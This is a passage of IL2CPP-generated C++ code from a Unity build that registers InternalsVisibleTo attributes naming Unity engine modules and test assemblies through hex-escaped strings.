InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x58\x62\x6F\x78\x4F\x6E\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[37];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x77\x69\x74\x63\x68\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[38];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x56\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[39];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[40];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x65\x72\x66\x6F\x72\x6D\x61\x6E\x63\x65\x52\x65\x70\x6F\x72\x74\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[41];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x72\x61\x73\x68\x52\x65\x70\x6F\x72\x74\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[42];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[43];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x58\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[44];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x57\x57\x57\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[45];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x41\x73\x73\x65\x74\x42\x75\x6E\x64\x6C\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[46];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x6E\x69\x74\x79\x41\x6E\x61\x6C\x79\x74\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[47];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x4E\x45\x54\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[48];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73\x4E\x61\x74\x69\x76\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[49];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x78\x74\x43\x6F\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[50];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6E\x70\x75\x74\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[51];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x69\x6C\x65\x6D\x61\x70\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[52];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x34\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[53];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x78\x74\x52\x65\x6E\x64\x65\x72\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[54];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x72\x72\x61\x69\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[55];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x44\x69\x72\x65\x63\x74\x6F\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[56];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x75\x73\x74\x65\x72\x52\x65\x6E\x64\x65\x72\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[57];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x75\x73\x74\x65\x72\x49\x6E\x70\x75\x74\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[58];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x75\x64\x69\x6F\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[59];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[60];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x6E\x64\x72\x6F\x69\x64\x4A\x4E\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[61];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x44\x53\x50\x47\x72\x61\x70\x68\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[62];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[63];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x68\x61\x72\x65\x64\x49\x6E\x74\x65\x72\x6E\x61\x6C\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[64];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x36"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[65];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x32"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[66];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x35"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[67];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x42\x75\x72\x73\x74"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[68];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x41\x75\x74\x6F\x6D\x61\x74\x69\x6F\x6E"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[69];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x73\x74\x52\x75\x6E\x6E\x65\x72"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[70];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x75\x72\x63\x68\x61\x73\x69\x6E\x67"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[71];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x64\x76\x65\x72\x74\x69\x73\x65\x6D\x65\x6E\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[72];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x6E\x61\x6C\x79\x74\x69\x63\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[73];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x41\x6E\x61\x6C\x79\x74\x69\x63\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[74];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x6F\x75\x64\x2E\x53\x65\x72\x76\x69\x63\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[75];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6C\x6F\x75\x64"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[76];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4E\x65\x74\x77\x6F\x72\x6B\x69\x6E\x67"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[77];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x67\x72\x61\x74\x69\x6F\x6E\x54\x65\x73\x74\x73\x2E\x46\x72\x61\x6D\x65\x77\x6F\x72\x6B"), NULL);
}
{
ExtensionAttribute_t917F3F92E717DC8B2D7BC03967A9790B1B8EF7CC * tmp = (ExtensionAttribute_t917F3F92E717DC8B2D7BC03967A9790B1B8EF7CC *)cache->attributes[78];
ExtensionAttribute__ctor_mB331519C39C4210259A248A4C629DF934937C1FA(tmp, NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[79];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x52\x75\x6E\x74\x69\x6D\x65\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[80];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x52\x75\x6E\x74\x69\x6D\x65\x54\x65\x73\x74\x73\x2E\x46\x72\x61\x6D\x65\x77\x6F\x72\x6B\x2E\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[81];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73\x47\x61\x6D\x65\x4F\x62\x6A\x65\x63\x74\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[82];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[83];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x55\x49\x2E\x42\x75\x69\x6C\x64\x65\x72\x2E\x45\x64\x69\x74\x6F\x72\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[84];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x64\x69\x74\x6F\x72\x2E\x55\x49\x42\x75\x69\x6C\x64\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[85];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x55\x49\x2E\x42\x75\x69\x6C\x64\x65\x72\x2E\x45\x64\x69\x74\x6F\x72"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[86];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x32\x44\x2E\x53\x70\x72\x69\x74\x65\x2E\x45\x64\x69\x74\x6F\x72\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[87];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x32\x44\x2E\x53\x70\x72\x69\x74\x65\x2E\x45\x64\x69\x74\x6F\x72"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[88];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x57\x69\x6E\x64\x6F\x77\x73\x4D\x52\x41\x75\x74\x6F\x6D\x61\x74\x69\x6F\x6E"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[89];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x47\x6F\x6F\x67\x6C\x65\x41\x52\x2E\x55\x6E\x69\x74\x79\x4E\x61\x74\x69\x76\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[90];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x70\x61\x74\x69\x61\x6C\x54\x72\x61\x63\x6B\x69\x6E\x67"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[91];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x41\x73\x73\x65\x6D\x62\x6C\x79\x2D\x43\x53\x68\x61\x72\x70\x2D\x66\x69\x72\x73\x74\x70\x61\x73\x73\x2D\x74\x65\x73\x74\x61\x62\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[92];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x41\x73\x73\x65\x6D\x62\x6C\x79\x2D\x43\x53\x68\x61\x72\x70\x2D\x74\x65\x73\x74\x61\x62\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[93];
